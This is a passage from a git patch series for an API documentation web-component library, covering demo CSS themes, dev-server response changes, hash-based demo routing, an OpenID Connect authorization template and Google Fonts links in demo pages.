+  flex-direction: column;
+  flex: 1;
+  height: 100%;
+  overflow: hidden;
+  box-sizing: border-box;
+}
+
+header {
+  height: 64px;
+  display: flex;
+  flex-direction: row;
+  align-items: center;
+  border-bottom: 1px solid #e5e5e5;
+  padding: 20px;
+  box-sizing: border-box;
+  background-color: var(--api-console-toolbar-background-color, #212121);
+  color: var(--api-console-toolbar-color, #fff);
+}
+
+header.tall {
+  height: 128px;
+  align-items: flex-end;
+}
+
+main {
+  flex: 1;
+  display: flex;
+  flex-direction: row;
+  background: var(--secondary-background-color, #ffffff);
+  height: 100%;
+  overflow: auto;
+  padding: 0px 24px;
+  margin: 40px 0;
+}
+
+aside {
+  margin-left: 40px;
+  width: 40%;
+  overflow: hidden;
+  position: relative;
+  border: 1px #e5e5e5 solid;
+}
+
+.format-bar {
+  display: flex;
+  align-items: center;
+  flex-direction: row;
+  margin-bottom: 20px;
+}
+
+.button-group {
+  margin-right: 20px;
+  display: inline-flex;
+  align-items: center;
+  flex-direction: row;
+  border: 1px #e5e5e5 solid;
+}
+
+.button-group anypoint-button {
+  margin: 0;
+}
+
+.editing-area {
+  width: 60%;
+  height: 100%;
+  display: flex;
+  flex-direction: column;
+}
+
+#container {
+  flex: 1;
+  position: relative;
+  display: flex;
+  flex-direction: column;
+  overflow: hidden;
+}
+
+.api-console {
+  position: relative;
+  /* padding: 40px 24px 24px 24px; */
+  overflow: auto;
+  height: 100%;
+}
+
+.loading-progress {
+  position: absolute;
+  right: 1px;
+  left: 1px;
+  width: auto;
+  top: 0;
+}
+
+.api-doc-toolbar {
+  height: 48px;
+  background: #e1f5fe;
+  display: flex;
+  align-items: center;
+  padding: 0 12px;
+  box-sizing: border-box;
+}
+
+.navigation {
+  width: 360px;
+  position: absolute;
+  background-color: #fff;
+  z-index: 1;
+  top: 0px;
+  bottom: 0;
+  box-shadow: 0 14px 28px rgba(0,0,0,0.25), 0 10px 10px rgba(0,0,0,0.22);
+  overflow: auto;
+  transform: translateX(calc(-100% - 32px));
+  transition: transform 0.24s cubic-bezier(0.42, 0, 0.57, 0.97);
+}
+
+.navigation.opened {
+  transform: translateX(0);
+}
+
+api-documentation {
+  padding: 12px;
+}
diff --git a/demo/styles/console-theme.css b/demo/styles/console-theme.css
new file mode 100644
index 0000000..6b1949e
--- /dev/null
+++ b/demo/styles/console-theme.css
@@ -0,0 +1,168 @@
+body {
+  color: #000;
+  --error-color: red;
+  --primary-text-color: #000;
+  --primary-color: #e91e63;
+  --primary-background-color: #ffffff;
+  --dark-divider-opacity: 0.12;
+  --api-divider-color: #e5e5e5;
+  --anypoint-button-emphasis-high-background-color: var(--accent-color);
+  --anypoint-dropdown-shadow: 0 4px 5px 0 rgba(0, 0, 0, 0.14), 0 1px 10px 0 rgba(0, 0, 0, 0.12), 0 2px 4px -1px rgba(0, 0, 0, 0.4);
+
+  --arc-font-body1-font-size: 1rem;
+  --code-font-family: 'Roboto Mono', 'Consolas', 'Menlo', monospace;
+
+  /* HTTP method colors */
+  --http-get-color: #008000;
+  --http-post-color: #2196F3;
+  --http-put-color: #FFA500;
+  --http-patch-color: #9C27B0;
+  --http-delete-color: #F44336;
+  --http-options-color: rgba(128, 128, 128, 0.74);
+  --http-head-color: rgba(128, 128, 128, 0.74);
+  --http-connect-color: rgba(128, 128, 128, 0.74);
+  --http-trace-color: rgba(128, 128, 128, 0.74);
+  --http-method-label-get-background-color: var(--http-get-color);
+  --http-method-label-get-color: #fff;
+  --http-method-label-post-background-color: var(--http-post-color);
+  --http-method-label-post-color: #fff;
+  --http-method-label-put-background-color: var(--http-put-color);
+  --http-method-label-put-color: #000;
+  --http-method-label-delete-background-color: var(--http-delete-color);
+  --http-method-label-delete-color: #fff;
+  --http-method-label-options-background-color: var(--http-options-color);
+  --http-method-label-options-background-color: var(--primary-text-color);
+  --http-method-label-head-background-color: var(--http-head-color);
+  --http-method-label-head-color: var(--primary-text-color);
+  --http-method-label-patch-background-color: var(--http-patch-color);
+  --http-method-label-patch-color: #fff;
+
+  --anypoint-tabs-selection-bar-color: var(--primary-color);
+
+  --api-navigation-list-item-selected-background-color: #e8e9ea;
+  --api-navigation-list-item-selected-color: #000;
+
+  --code-background-color: #f5f7f9;
+}
+
+@media (prefers-color-scheme: dark) {
+  body {
+    color: var(--primary-text-color);
+    background-color: var(--secondary-background-color);
+    --primary-color: #ffcc80;
+    --primary-text-color: #fff;
+    --accent-color: #E040FB;
+    --secondary-text-color: rgba(255, 255, 255, 0.84);
+    --primary-background-color: #424242;
+    --secondary-background-color: #313131;
+    --error-color: #ff9090;
+    --error-message-color: var(--error-color);
+    --link-color: #8bc34a;
+    --input-background-color: var(--primary-background-color);
+    --active-background-color: #616161;
+
+    --anypoint-checkbox-label-color:  #F5F5F5;
+    --anypoint-input-background-color: var(--input-background-color);
+    --anypoint-input-label-color: var(--primary-text-color);
+    --anypoint-input-input-color: var(--primary-text-color);
+    --anypoint-input-border-bottom-color: var(--primary-text-color);
+    --anypoint-input-focused-border-bottom-color: var(--primary-text-color);
+    --anypoint-input-label-background-color: rgb(66, 66, 66);
+    --anypoint-input-legacy-focus-background-color: #3a3b3c;
+    --anypoint-input-legacy-focus-border-color: #178bea;
+    --anypoint-input-info-message-color: var(--primary-text-color);
+
+    --anypoint-dropdown-menu-background-color: #494949;
+    --anypoint-dropdown-menu-label-background-color: var(--primary-background-color);
+    --anypoint-listbox-background-color: #494949;
+    --anypoint-dropdown-menu-focus-background-color: #9E9E9E;
+    --anypoint-dropdown-menu-label-color: #fff;
+    --anypoint-dropdown-menu-info-message-color: #fff;
+    --anypoint-item-hover-background-color: #9E9E9E;
+    --anypoint-item-focused-background-color: var(--primary-background-color);
+    --anypoint-icon-button-emphasis-low-color: #fff;
+
+    /* HTTP method colors */
+    --http-get-color: rgba(0, 128, 0, 0.74);
+    --http-post-color: rgba(33, 150, 243, 0.74);
+    --http-put-color: rgba(255, 165, 0, 0.74);
+    --http-patch-color: rgb(156, 39, 176);
+    --http-delete-color: rgba(244, 67, 54, 0.74);
+    --http-options-color: rgba(128, 128, 128, 0.74);
+    --http-head-color: rgba(128, 128, 128, 0.74);
+    --http-connect-color: rgba(128, 128, 128, 0.74);
+    --http-trace-color: rgba(128, 128, 128, 0.74);
+    --http-method-label-head-color: #000;
+    --http-method-label-get-background-color: var(--http-get-color);
+    --http-method-label-get-color: #fff;
+    --http-method-label-post-background-color: var(--http-post-color);
+    --http-method-label-post-color: #fff;
+    --http-method-label-patch-background-color: var(--http-patch-color);
+    --http-method-label-patch-color: #fff;
+    --http-method-label-put-background-color: var(--http-put-color);
+    --http-method-label-put-color: #fff;
+    --http-method-label-delete-background-color: var(--http-delete-color);
+    --http-method-label-delete-color: #fff;
+    --http-method-label-options-background-color: var(--http-options-color);
+    --http-method-label-options-background-color: #fff;
+    --http-method-label-head-background-color: var(--http-head-color);
+    --http-method-label-head-background-color: #fff;
+    --http-method-label-trace-background-color: var(--http-trace-color);
+    --http-method-label-trace-background-color: #fff;
+    --http-method-label-connect-background-color: var(--http-connect-color);
+    --http-method-label-connect-background-color: #fff;
+
+    --operation-params-title-color: var(--primary-text-color);
+    --operation-subheader-color: var(--secondary-text-color);
+    --operation-description-color: var(--secondary-text-color);
+
+    --resource-subheader-color: var(--secondary-text-color);
+    --security-subheader-color: var(--secondary-text-color);
+    --pill-color: #000;
+
+    --markdown-styles-code-text-shadow: none;
+    --markdown-styles-h6-color: var(--secondary-text-color);
+    --markdown-styles-table-row-background-color: var(--primary-background-color);
+    --markdown-styles-table-even-row-background-color: var(--secondary-background-color);
+
+    --code-color: var(--primary-text-color);
+    --code-background-color: #202020;
+    --code-punctuation-value-color: var(--code-color);
+    --inline-documentation-color: var(--primary-text-color);
+
+    --api-annotation-document-color: var(--primary-text-color);
+    --api-annotation-background-color: var(--primary-background-color);
+    --api-body-document-description-color: var(--primary-text-color);
+
+    --api-endpoint-url-background-color: var(--primary-background-color);
+    --api-endpoint-url-color: var(--primary-text-color);
+
+    --http-code-snippet-code-text-shadow: var(--primary-text-color);
+    --http-code-snippet-container-background-color: var(--code-background-color);
+    --http-code-snippet-code-function-color: #82AAFF;
+    --http-code-snippet-code-keyword-color: #C792EA;
+    --http-code-snippet-code-cdata-color: #adb9c5;
+
+    --resource-tryit-background-color: var(--code-background-color);
+    --resource-tryit-panels-background-color: transparent;
+    --error-message-icon-color: #cccccc;
+    --error-message-code-color: var(--secondary-text-color); 
+
+    --auth-method-oauth2-redirect-info-color: #fff;
+
+    --inline-documentation-background-color: #3a3a3a;
+
+    --api-navigation-list-item-selected-background-color: #e8e9ea;
+    --api-navigation-section-title-focus-background-color: var(--primary-background-color);
+    --api-navigation-list-item-selected-color: #000;
+
+    --resource-title-color: var(--primary-text-color);
+    --operation-title-color: var(--primary-text-color);
+    --api-description-color: var(--secondary-text-color);
+
+    /* below are CSS definitions for elements defined in the demo app, not in the components */
+    --api-navigation-background-color: var(--secondary-background-color);
+    --api-navigation-color: var(--primary-text-color);
+    --api-navigation-list-item-selected-icon-color: var(--accent-color);
+  }
+}
diff --git a/dev/amf-server/api.mjs b/dev/amf-server/api.mjs
index ce36bfe..ef1acd4 100644
--- a/dev/amf-server/api.mjs
+++ b/dev/amf-server/api.mjs
@@ -67,10 +67,19 @@ class AmfServer {
    * @returns {Promise<void>} 
    */
   async handleParseText(context) {
+    const { headers } = context.request;
+    const previous = headers['x-previous-request'];
+    if (previous) {
+      this.service.removeProcess(previous);
+    }
     const key = await this.service.parseText(context.request);
     context.status = 201;
-    context.header.location = `${ApiBase}/status/${key}`;
-    context.body = { status: 201, location: `${ApiBase}/status/${key}` };
+    context.set('location', `${ApiBase}/status/${key}`);
+    context.body = { 
+      status: 201, 
+      location: `${ApiBase}/status/${key}`,
+      key,
+    };
   }
 
   /**
@@ -85,8 +94,8 @@ class AmfServer {
     const status = await this.service.checkStatus(key);
     if (status === 'running' || status === 'initialized') {
       context.status = 204;
-      context.header.location = `${ApiBase}/status/${key}`;
-      context.body = { status, location: `${ApiBase}/status/${key}` };
+      context.set('location', `${ApiBase}/status/${key}`);
+      context.body = { status, location: `${ApiBase}/status/${key}`, key, };
     } else if (status === 'failed') {
       const body = await this.service.getError(key);
       this.service.removeProcess(key);
@@ -95,8 +104,8 @@ class AmfServer {
       context.status = e.code;
     } else {
       context.status = 200;
-      context.header.location = `${ApiBase}/result/${key}`;
-      context.body = { status, location: `${ApiBase}/result/${key}` };
+      context.set('location', `${ApiBase}/result/${key}`);
+      context.body = { status, location: `${ApiBase}/result/${key}`, key, };
     }
   }
 
diff --git a/dev/types.d.ts b/dev/types.d.ts
index d2bd675..9038b4e 100644
--- a/dev/types.d.ts
+++ b/dev/types.d.ts
@@ -21,3 +21,8 @@ export interface ParserProcessResult {
   status: 'finished' | 'failed';
   result: unknown;
 }
+
+export interface ApiEditorPreviousRequest {
+  ctrl: AbortController;
+  key: string;
+}

From a6ed02cd2f61437c09b503b63293a7db2016af0b Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Fri, 15 Oct 2021 00:01:53 -0700
Subject: [PATCH 24/36] chore: minor improvements

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 demo/api-editor.js                            | 12 ++--
 demo/api-request.js                           |  1 +
 demo/apis/secured-unions/secured-unions.yaml  |  8 +++
 demo/lib/AmfDemoBase.js                       | 58 +++++++++++++++++--
 demo/styles/api-editor.css                    |  2 +-
 src/elements/ApiAuthorizationEditorElement.js | 37 ++++++++++++
 src/elements/ApiSchemaDocumentElement.js      |  3 +
 src/elements/styles/SchemaCommon.js           | 12 ++++
 8 files changed, 120 insertions(+), 13 deletions(-)

diff --git a/demo/api-editor.js b/demo/api-editor.js
index ae0782f..affe182 100644
--- a/demo/api-editor.js
+++ b/demo/api-editor.js
@@ -355,26 +355,26 @@ export class ApiTextEditor extends ApplicationPage {
    */
   getExampleValue(vendor, media='application/yaml') {
     if (vendor === 'RAML 1.0') {
-      return ApiExamples.Raml10;
+      return ApiExamples.Raml10.trim();
     }
     if (vendor === 'OAS 2.0') {
       if (media === 'application/yaml') {
-        return ApiExamples.Oas20Yaml;
+        return ApiExamples.Oas20Yaml.trim();
       }
       if (media === 'application/json') {
-        return ApiExamples.Oas20Json;
+        return ApiExamples.Oas20Json.trim();
       }
     }
     if (vendor === 'OAS 3.0') {
       if (media === 'application/yaml') {
-        return ApiExamples.Oas30Yaml;
+        return ApiExamples.Oas30Yaml.trim();
       }
       if (media === 'application/json') {
-        return ApiExamples.Oas30Json;
+        return ApiExamples.Oas30Json.trim();
       }
     }
     if (vendor === 'ASYNC 2.0') {
-      return ApiExamples.Async20;
+      return ApiExamples.Async20.trim();
     }
     return '';
   }
diff --git a/demo/api-request.js b/demo/api-request.js
index 280ecdf..8a40c71 100644
--- a/demo/api-request.js
+++ b/demo/api-request.js
@@ -95,6 +95,7 @@ class ComponentDemo extends AmfDemoBase {
       ['secured-api', 'Security demo'],
       ['21143', '21143'],
       ['annotated-parameters', 'annotated-parameters'],
+      ['secured-unions', 'Secured unions']
     ].map(
       ([file, label]) => html`
         <anypoint-item data-src="models/${file}-compact.json">${label}</anypoint-item>
diff --git a/demo/apis/secured-unions/secured-unions.yaml b/demo/apis/secured-unions/secured-unions.yaml
index f0f7da1..ac42e96 100644
--- a/demo/apis/secured-unions/secured-unions.yaml
+++ b/demo/apis/secured-unions/secured-unions.yaml
@@ -85,3 +85,11 @@ paths:
       responses:
         default:
           description: Unexpected error
+  /oidc:
+    get:
+      security:
+        - OpenID: []
+          BearerAuth: []
+      responses:
+        default:
+          description: Unexpected error
diff --git a/demo/lib/AmfDemoBase.js b/demo/lib/AmfDemoBase.js
index 7e27519..b1e5c45 100644
--- a/demo/lib/AmfDemoBase.js
+++ b/demo/lib/AmfDemoBase.js
@@ -7,6 +7,7 @@ import '@anypoint-web-components/anypoint-item/anypoint-item.js';
 import { DomEventsAmfStore } from "../../src/store/DomEventsAmfStore.js";
 import { AmfHelperMixin } from "../../src/helpers/AmfHelperMixin.js";
 import { EventTypes } from '../../src/events/EventTypes.js';
+import { navigate, findRoute } from './route.js';
 import '../../api-navigation.js';
 import './ApiStyles.js';
 
@@ -14,6 +15,13 @@ import './ApiStyles.js';
 /** @typedef {import('@anypoint-web-components/anypoint-listbox').AnypointListbox} AnypointListbox */
 /** @typedef {import('../../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
+const routes = [
+  {
+    name: 'api-file',
+    pattern: 'file/(?<file>[^/]*)'
+  },
+];
+
 /**
  * Base class for API components demo page.
  * It creates a skeleton for an API demo page.
@@ -30,7 +38,7 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
 
   constructor() {
     super();
-    this.initObservableProperties(["initialized", "loaded"]);
+    this.initObservableProperties(["initialized", "loaded", 'selectedFile']);
     this.loaded = false;
     this.initialized = false;
     this.renderViewControls = true;
@@ -74,6 +82,11 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
      * @default false
      */
     this.noApiNavigation = false;
+    /** 
+     * Currently loaded file.
+     * @type {string}
+     */
+    this.selectedFile = undefined;
     window.addEventListener(EventTypes.Navigation.apiNavigate, this._navChanged.bind(this));
 
     document.body.classList.add('api');
@@ -82,6 +95,10 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
 
   async autoLoad() {
     await this.loadMonaco();
+    this.onRoute();
+    window.onpopstate = () => {
+      this.onRoute();
+    };
     this.initialized = true;
   }
 
@@ -92,10 +109,34 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
     await MonacoLoader.monacoReady();
   }
 
+  /**
+   * Called when route change
+   */
+  onRoute() {
+    const url = new URL(window.location.href);
+    const hash = url.hash.replace('#', '');
+    const result = findRoute(routes, hash);
+    if (!result || result.route.name !== 'api-file') {
+      return;
+    }
+    const { file } = result.params;
+    if (!file) {
+      return;
+    }
+    this.selectedFile = file;
+    this._loadFile(file);
+  }
+
   /**
    * Sets default API selection when the view is rendered.
    */
   firstRender() {
+    const url = new URL(window.location.href);
+    const hash = url.hash.replace('#', '');
+    if (hash && hash.includes('file/')) {
+      // had the file already.
+      return;
+    }
     const node = /** @type any */ (document.getElementById('apiList'));
     if (!node) {
       return;
@@ -111,7 +152,7 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
     const node = /** @type AnypointListbox */ (e.target);
     const item = /** @type HTMLElement */ (node.selectedItem);
     const file = item.dataset.src;
-    this._loadFile(file);
+    navigate('file', file);
   }
 
   /** @param {string} file */
@@ -148,8 +189,7 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
     return [
       ['demo-api', 'Demo API'],
     ].map(([file, label]) => html`
-      <anypoint-item data-src="${file}-compact.json">${label} - compact model</anypoint-item>
-      <anypoint-item data-src="${file}.json">${label}</anypoint-item>
+      <anypoint-item data-src="models/${file}-compact.json">${label} - compact model</anypoint-item>
     `);
   }
 
@@ -176,7 +216,7 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
    * @return {TemplateResult} HTML template for demo header
    */
   headerTemplate() {
-    const { componentName } = this;
+    const { componentName, selectedFile } = this;
     return html`
     <header>
       ${componentName ? html`<h1 class="api-title">${componentName}</h1>` : ''}
@@ -185,7 +225,13 @@ export class AmfDemoBase extends AmfHelperMixin(DemoPage) {
         aria-expanded="false"
       >
         <label slot="label">Select demo API</label>
-        <anypoint-listbox slot="dropdown-content" id="apiList" @selected-changed="${this._apiChanged}">
+        <anypoint-listbox 
+          slot="dropdown-content" 
+          id="apiList"
+          .selected="${selectedFile}"
+          @selected-changed="${this._apiChanged}"
+          attrForSelected="data-src"
+        >
           ${this._apiListTemplate()}
         </anypoint-listbox>
       </anypoint-dropdown-menu>
diff --git a/demo/styles/api-editor.css b/demo/styles/api-editor.css
index b215ba6..754e91c 100644
--- a/demo/styles/api-editor.css
+++ b/demo/styles/api-editor.css
@@ -125,7 +125,7 @@ aside {
   width: 360px;
   position: absolute;
   background-color: #fff;
-  z-index: 1;
+  z-index: 2;
   top: 0px;
   bottom: 0;
   box-shadow: 0 14px 28px rgba(0,0,0,0.25), 0 10px 10px rgba(0,0,0,0.22);
diff --git a/src/elements/ApiAuthorizationEditorElement.js b/src/elements/ApiAuthorizationEditorElement.js
index b24d659..441ba2a 100644
--- a/src/elements/ApiAuthorizationEditorElement.js
+++ b/src/elements/ApiAuthorizationEditorElement.js
@@ -39,6 +39,7 @@ export const ramlCustomAuthTemplate = Symbol('ramlCustomAuthTemplate');
 export const methodTitleTemplate = Symbol('methodTitleTemplate');
 export const changeHandler = Symbol('changeHandler');
 export const createSettings = Symbol('createSettings');
+export const openIdConnectTemplate = Symbol('openIdConnectTemplate');
 
 export default class ApiAuthorizationEditorElement extends LitElement {
   get styles() {
@@ -350,6 +351,8 @@ export default class ApiAuthorizationEditorElement extends LitElement {
         return this[bearerAuthTemplate](scheme, true);
       case 'Api Key':
         return this[apiKeyTemplate](scheme);
+      case 'openIdConnect':
+        return this[openIdConnectTemplate](scheme);
       default:
         if (String(type).indexOf('x-') === 0) {
           return this[ramlCustomAuthTemplate](scheme);
@@ -543,6 +546,40 @@ export default class ApiAuthorizationEditorElement extends LitElement {
     ></api-authorization-method>`;
   }
 
+  /**
+   * Renders a template for OAuth 2 authorization.
+   *
+   * @param {ApiParametrizedSecurityScheme} security Security scheme
+   * @return {TemplateResult}
+   */
+  [openIdConnectTemplate](security) {
+    const {
+      compatibility,
+      outlined,
+      oauth2RedirectUri,
+      credentialsSource,
+      oauth2AuthorizationUri,
+      oauth2AccessTokenUri,
+      amf,
+      globalCache,
+    } = this;
+    return html`
+    ${this[methodTitleTemplate](security)}
+    <api-authorization-method
+      ?compatibility="${compatibility}"
+      ?outlined="${outlined}"
+      ?globalCache="${globalCache}"
+      type="open id"
+      .redirectUri="${oauth2RedirectUri}"
+      .overrideAuthorizationUri="${oauth2AuthorizationUri}"
+      .overrideAccessTokenUri="${oauth2AccessTokenUri}"
+      .amf="${amf}"
+      .security="${security}"
+      .credentialsSource="${credentialsSource}"
+      @change="${this[changeHandler]}"
+    ></api-authorization-method>`;
+  }
+
   /**
    * Renders a template for Api Keys authorization.
    *
diff --git a/src/elements/ApiSchemaDocumentElement.js b/src/elements/ApiSchemaDocumentElement.js
index 04ddb30..49d81b6 100644
--- a/src/elements/ApiSchemaDocumentElement.js
+++ b/src/elements/ApiSchemaDocumentElement.js
@@ -722,6 +722,9 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase {
       </div>
       `;
     }
+    if (items.types.includes(ns.aml.vocabularies.shapes.ScalarShape)) {
+      return this[scalarShapeTemplate](schema);
+    }
     return html`
     <div class="params-section">
       ${labelTemplate||''}
diff --git a/src/elements/styles/SchemaCommon.js b/src/elements/styles/SchemaCommon.js
index 34d9768..2740c46 100644
--- a/src/elements/styles/SchemaCommon.js
+++ b/src/elements/styles/SchemaCommon.js
@@ -36,6 +36,18 @@ export default css`
     border-bottom-left-radius: var(--property-border-width);
   }
 
+  .and-union-member:not(:last-of-type) .property-container:last-of-type .property-border {
+    align-self: stretch;
+    height: auto;
+    border-bottom-left-radius: 0;
+  }
+
+  .inheritance-label {
+    border-left: var(--property-border-width) var(--property-border-color) dashed;
+    padding: 24px 12px;
+    margin: 0;
+  }
+
   .shape-children .property-container:first-of-type .property-border {
     border-top-right-radius: var(--property-border-width);
   }

From 6a3dbfb65d27a225df99ccad774123da65fd4f24 Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Fri, 15 Oct 2021 00:24:35 -0700
Subject: [PATCH 25/36] chore: updating demo styles

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 .vscode/settings.json                |  1 +
 demo/api-annotation.html             |  4 ++
 demo/api-channel.html                |  4 ++
 demo/api-documentation-document.html |  4 ++
 demo/api-documentation-partial.html  |  4 ++
 demo/api-documentation.html          |  4 ++
 demo/api-operation.html              |  4 ++
 demo/api-payload.html                |  4 ++
 demo/api-request.html                |  4 ++
 demo/api-resource.html               |  4 ++
 demo/api-schema-documentation.html   |  4 ++
 demo/api-security-documentation.html |  4 ++
 demo/api-summary.html                |  4 ++
 demo/lib/AmfDemoBase.js              |  6 +-
 demo/lib/ApiStyles.js                | 34 +++++-------
 demo/oauth-authorize copy.html       | 83 ----------------------------
 demo/oauth-authorize copy.js         | 31 -----------
 demo/request-editor.html             |  4 ++
 demo/server-selector.html            |  4 ++
 demo/styles/console-theme.css        |  2 +
 src/elements/styles/Editor.styles.js |  2 +-
 21 files changed, 77 insertions(+), 138 deletions(-)
 delete mode 100644 demo/oauth-authorize copy.html
 delete mode 100644 demo/oauth-authorize copy.js

diff --git a/.vscode/settings.json b/.vscode/settings.json
index 7589719..cafd6bf 100644
--- a/.vscode/settings.json
+++ b/.vscode/settings.json
@@ -22,6 +22,7 @@
     "onapiserverchange",
     "onserverscountchange",
     "populateannotatedfields",
+    "preconnect",
     "redirecturichange",
     "Renderable",
     "securitysettingsinfochanged",
diff --git a/demo/api-annotation.html b/demo/api-annotation.html
index d6c3d3f..b2071be 100644
--- a/demo/api-annotation.html
+++ b/demo/api-annotation.html
@@ -5,6 +5,10 @@
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=yes">
   <title>API Annotation</title>
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
+  <link href="styles/console-theme.css" rel="stylesheet" type="text/css" />
   <link rel="stylesheet" href="./demo.css" />
 </head>
 
diff --git a/demo/api-channel.html b/demo/api-channel.html
index b0473c1..6cd472d 100644
--- a/demo/api-channel.html
+++ b/demo/api-channel.html
@@ -5,6 +5,10 @@
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=yes">
   <title>API Channel</title>
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
+  <link href="styles/console-theme.css" rel="stylesheet" type="text/css" />
   <link rel="stylesheet" href="./demo.css" />
 </head>
 
diff --git a/demo/api-documentation-document.html b/demo/api-documentation-document.html
index 7269400..4d05487 100644
--- a/demo/api-documentation-document.html
+++ b/demo/api-documentation-document.html
@@ -5,6 +5,10 @@
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=yes">
   <title>AMF Documentation Document</title>
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
+  <link href="styles/console-theme.css" rel="stylesheet" type="text/css" />
   <link rel="stylesheet" href="./demo.css" />
 </head>
 
diff --git a/demo/api-documentation-partial.html b/demo/api-documentation-partial.html
index 0c079f7..3ab35f0 100644
--- a/demo/api-documentation-partial.html
+++ b/demo/api-documentation-partial.html
@@ -5,6 +5,10 @@
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=yes">
   <title>API Documentation</title>
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
+  <link href="styles/console-theme.css" rel="stylesheet" type="text/css" />
   <link rel="stylesheet" href="./demo.css" />
 </head>
 
diff --git a/demo/api-documentation.html b/demo/api-documentation.html
index 0b76904..46fb52d 100644
--- a/demo/api-documentation.html
+++ b/demo/api-documentation.html
@@ -5,6 +5,10 @@
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=yes">
   <title>API Documentation</title>
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
+  <link href="styles/console-theme.css" rel="stylesheet" type="text/css" />
   <link rel="stylesheet" href="./demo.css" />
 </head>
 
diff --git a/demo/api-operation.html b/demo/api-operation.html
index 215777b..2d5d520 100644
--- a/demo/api-operation.html
+++ b/demo/api-operation.html
@@ -5,6 +5,10 @@
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=yes">
   <title>API Operation</title>
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
+  <link href="styles/console-theme.css" rel="stylesheet" type="text/css" />
   <link rel="stylesheet" href="./demo.css" />
 </head>
 
diff --git a/demo/api-payload.html b/demo/api-payload.html
index 2521aee..17c018a 100644
--- a/demo/api-payload.html
+++ b/demo/api-payload.html
@@ -5,6 +5,10 @@
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=yes">
   <title>API Payload</title>
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
+  <link href="styles/console-theme.css" rel="stylesheet" type="text/css" />
   <link rel="stylesheet" href="./demo.css" />
 </head>
 
diff --git a/demo/api-request.html b/demo/api-request.html
index 9d9d36a..b1f6943 100644
--- a/demo/api-request.html
+++ b/demo/api-request.html
@@ -5,6 +5,10 @@
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=yes">
   <title>api-request</title>
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
+  <link href="styles/console-theme.css" rel="stylesheet" type="text/css" />
   <link rel="stylesheet" href="./demo.css" />
 </head>
 
diff --git a/demo/api-resource.html b/demo/api-resource.html
index 38fd74c..0ea4a10 100644
--- a/demo/api-resource.html
+++ b/demo/api-resource.html
@@ -5,6 +5,10 @@
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=yes">
   <title>API Endpoint</title>
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
+  <link href="styles/console-theme.css" rel="stylesheet" type="text/css" />
   <link rel="stylesheet" href="./demo.css" />
 </head>
 
diff --git a/demo/api-schema-documentation.html b/demo/api-schema-documentation.html
index 33f9898..c9bc7b4 100644
--- a/demo/api-schema-documentation.html
+++ b/demo/api-schema-documentation.html
@@ -5,6 +5,10 @@
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=yes">
   <title>AMF Schema Documentation</title>
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
